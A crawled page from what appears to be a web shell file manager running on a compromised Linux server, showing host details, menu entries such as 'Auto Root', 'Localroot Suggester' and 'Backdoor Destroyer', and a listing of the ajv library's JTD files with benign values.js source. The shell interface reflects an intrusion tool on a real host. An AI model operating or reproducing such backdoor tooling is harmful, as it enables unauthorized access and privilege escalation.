Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.217.80
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
ajv /
dist /
vocabularies /
jtd /
Delete
Unzip
Name
Size
Permission
Date
Action
discriminator.d.ts
391
B
-rw-r--r--
2023-12-16 08:36
discriminator.js
2.72
KB
-rw-r--r--
2023-12-16 08:36
discriminator.js.map
2.63
KB
-rw-r--r--
2023-12-16 08:36
elements.d.ts
264
B
-rw-r--r--
2023-12-16 08:36
elements.js
949
B
-rw-r--r--
2023-12-16 08:36
elements.js.map
908
B
-rw-r--r--
2023-12-16 08:36
enum.d.ts
233
B
-rw-r--r--
2023-12-16 08:36
enum.js
1.7
KB
-rw-r--r--
2023-12-16 08:36
enum.js.map
1.65
KB
-rw-r--r--
2023-12-16 08:36
error.d.ts
529
B
-rw-r--r--
2023-12-16 08:36
error.js
893
B
-rw-r--r--
2023-12-16 08:36
error.js.map
716
B
-rw-r--r--
2023-12-16 08:36
index.d.ts
541
B
-rw-r--r--
2023-12-16 08:36
index.js
962
B
-rw-r--r--
2023-12-16 08:36
index.js.map
530
B
-rw-r--r--
2023-12-16 08:36
metadata.d.ts
254
B
-rw-r--r--
2023-12-16 08:36
metadata.js
810
B
-rw-r--r--
2023-12-16 08:36
metadata.js.map
787
B
-rw-r--r--
2023-12-16 08:36
nullable.d.ts
305
B
-rw-r--r--
2023-12-16 08:36
nullable.js
859
B
-rw-r--r--
2023-12-16 08:36
nullable.js.map
801
B
-rw-r--r--
2023-12-16 08:36
optionalProperties.d.ts
120
B
-rw-r--r--
2023-12-16 08:36
optionalProperties.js
436
B
-rw-r--r--
2023-12-16 08:36
optionalProperties.js.map
398
B
-rw-r--r--
2023-12-16 08:36
properties.d.ts
903
B
-rw-r--r--
2023-12-16 08:36
properties.js
6.17
KB
-rw-r--r--
2023-12-16 08:36
properties.js.map
5.62
KB
-rw-r--r--
2023-12-16 08:36
ref.d.ts
203
B
-rw-r--r--
2023-12-16 08:36
ref.js
2.59
KB
-rw-r--r--
2023-12-16 08:36
ref.js.map
2.38
KB
-rw-r--r--
2023-12-16 08:36
type.d.ts
509
B
-rw-r--r--
2023-12-16 08:36
type.js
2.64
KB
-rw-r--r--
2023-12-16 08:36
type.js.map
2.5
KB
-rw-r--r--
2023-12-16 08:36
union.d.ts
120
B
-rw-r--r--
2023-12-16 08:36
union.js
343
B
-rw-r--r--
2023-12-16 08:36
union.js.map
320
B
-rw-r--r--
2023-12-16 08:36
values.d.ts
261
B
-rw-r--r--
2023-12-16 08:36
values.js
1.79
KB
-rw-r--r--
2023-12-16 08:36
values.js.map
1.71
KB
-rw-r--r--
2023-12-16 08:36
Save
Rename
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const util_1 = require("../../compile/util"); const codegen_1 = require("../../compile/codegen"); const metadata_1 = require("./metadata"); const nullable_1 = require("./nullable"); const error_1 = require("./error"); const def = { keyword: "values", schemaType: "object", error: (0, error_1.typeError)("object"), code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, it } = cxt; const [valid, cond] = (0, nullable_1.checkNullableObject)(cxt, data); if ((0, util_1.alwaysValidSchema)(it, schema)) { gen.if((0, codegen_1.not)((0, codegen_1.or)(cond, valid)), () => cxt.error()); } else { gen.if(cond); gen.assign(valid, validateMap()); gen.elseIf((0, codegen_1.not)(valid)); cxt.error(); gen.endIf(); } cxt.ok(valid); function validateMap() { const _valid = gen.name("valid"); if (it.allErrors) { const validMap = gen.let("valid", true); validateValues(() => gen.assign(validMap, false)); return validMap; } gen.var(_valid, true); validateValues(() => gen.break()); return _valid; function validateValues(notValid) { gen.forIn("key", data, (key) => { cxt.subschema({ keyword: "values", dataProp: key, dataPropType: util_1.Type.Str, }, _valid); gen.if((0, codegen_1.not)(_valid), notValid); }); } } }, }; exports.default = def; //# sourceMappingURL=values.js.map